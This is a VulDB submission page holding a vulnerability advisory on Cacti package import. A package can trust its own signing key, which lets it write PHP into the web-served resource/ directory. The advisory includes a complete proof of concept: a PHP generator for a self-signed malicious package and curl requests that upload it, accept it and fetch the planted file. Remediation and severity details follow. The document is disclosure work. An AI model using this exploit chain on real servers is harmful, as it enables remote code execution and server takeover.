提出 #958016: The Cacti Group Cacti source revision b7b3fd8; affected releases to be confirmed Unrestricted Upload情報

タイトルThe Cacti Group Cacti source revision b7b3fd8; affected releases to be confirmed Unrestricted Upload
説明Remote Code Execution in package import via self-trusted signer writing PHP under resource/ (Cacti affected versions to be confirmed) Summary Cacti package import allows an import-capable user to accept a package signer from the package itself, then import files under web-served resource/. A self-signed package containing resource/cve_poc.php is accepted and the PHP payload is served over HTTP. Details The accept flow writes a temporary copy of the package XML and calls import_validate_public_key($xmlfile, true). Inside that function, the $accept flag makes the package's own public key acceptable and stores it in package_public_keys. During import, import_read_package_data() uses the package key for signature validation. lib/import.php permits file entries under resource/ or scripts/ and writes their decoded contents with fopen(..., 'wb') and fwrite. Core code path: // package_import.php:949-954 and 1018-1051 file_put_contents($xmlfile, $_SESSION['sess_import_package']); import_validate_public_key($xmlfile, true); ... } elseif ($accept) { $insert = true; } db_execute_prepared('INSERT IGNORE INTO package_public_keys ...', [..., $info['pubkey']]); // lib/import.php:529-536, 668-679, 716-762 $public_key = import_package_get_public_key($xmlfile); if (!$preview && !import_validate_signature($xmlfile)) return false; if (str_contains($name, 'scripts/') || str_contains($name, 'resource/')) { $filename = CACTI_PATH_BASE . "/$name"; $file = fopen($filename, 'wb'); $bytesWritten = fwrite($file, $fdata, strlen($fdata)); } POC Reproduction prerequisites: - An affected Cacti deployment where resource/ is web-served by PHP. - An authenticated user that can access package import. - A gzipped XML package signed by an attacker-generated key and containing a file entry under resource/. Generate a minimal self-signed package in a test environment: <?php $marker = 'CACTI_PACKAGE_RESOURCE_POC'; $key = openssl_pkey_new(['private_key_bits' => 2048, 'private_key_type' => OPENSSL_KEYTYPE_RSA]); openssl_pkey_export($key, $private); $public = openssl_pkey_get_details($key)['key']; $payload = "<?php header('Content-Type: text/plain'); echo '$marker'; ?>"; openssl_sign($payload, $fileSig, $private, OPENSSL_ALGO_SHA256); $xml = "<xml> "; $xml .= " <info><name>PoC Package</name><author>Mallory</author><homepage>http://example.invalid</homepage><email>[email protected]</email><version>1.0</version></info> "; $xml .= " <directories><directory>resource</directory></directories> "; $xml .= " <files><file><name>resource/cve_poc.php</name><data>" . base64_encode($payload) . "</data><filesignature>" . base64_encode($fileSig) . "</filesignature></file></files> "; $xml .= " <publickeyname>Mallory</publickeyname><publickey>" . base64_encode($public) . "</publickey> "; openssl_sign($xml . " <signature></signature> </xml>", $pkgSig, $private, OPENSSL_ALGO_SHA256); $xml .= " <signature>" . base64_encode($pkgSig) . "</signature> </xml>"; file_put_contents('self_signed_resource_poc.xml.gz', gzencode($xml, 9)); Submit the package through the package import UI/API flow: BASE_URL="https://target.example/cacti" COOKIE="<authenticated package-import user cookie>" CSRF="<current __csrf_magic value>" curl -i -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE_URL/package_import.php?action=save&package_location=0" \ -F "__csrf_magic=$CSRF" \ -F "save_component_import=1" \ -F "preview_only=on" \ -F "package_location=0" \ -F "data_source_profile=1" \ -F "import_file=@self_signed_resource_poc.xml.gz;type=application/gzip" curl -i -sS -b "$COOKIE" "$BASE_URL/package_import.php?action=accept&package_location=0" curl -i -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE_URL/package_import.php?action=save" \ -F "__csrf_magic=$CSRF" \ -F "save_component_import=1" \ -F "import_confirmed=on" \ -F "package_location=0" \ -F "data_source_profile=1" \ -F "<preview checkbox name for resource/cve_poc.php>=on" curl -i -sS "$BASE_URL/resource/cve_poc.php" Expected result: the final request returns HTTP/1.1 200 OK with body CACTI_PACKAGE_RESOURCE_POC, proving that the self-signed package was trusted and its PHP file was written under a web-executable path. Impact An authenticated user with package import access can place attacker-controlled PHP in a web-served directory and execute it by requesting the resulting resource URL. This is a server-side code execution impact in typical PHP deployments where resource/ is served by the web server. Remediation Do not let an imported package self-authorize its signer for the same import. Require administrators to preconfigure trusted package signing keys through a separate trusted channel. Disallow executable extensions in importable web-served directories or store imported package assets outside the PHP execution root. Disclosure Notes This is not a path traversal claim; current source blocks .. and absolute paths. The issue is signer self-trust plus allowed PHP file placement under resource/. Supplemental Information Affected products - Ecosystem: PHP application - Package name: Cacti - Affected versions: affected versions to be confirmed; reviewed source snapshot revision b7b3fd8 reviewed - Patched versions: to be confirmed Severity - Scoring method: CVSS v3.1 - Score: 9.9 - Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Weaknesses - CWE: CWE-434 Unrestricted Upload of File with Dangerous Type
ソース⚠️ https://github.com/godzeo/vulhub/issues/1
ユーザー
 Zeo666666 (UID 100987)
送信2026年09月03日 11:43 (2 月 ago)
モデレーション2026年10月10日 23:24 (1 month later)
ステータス重複
VulDBエントリ263978 [Cacti 迄 1.2.26 Package Import /lib/import.php import_package 特権昇格]
ポイント0

Want to know what is going to be exploited?

We predict KEV entries!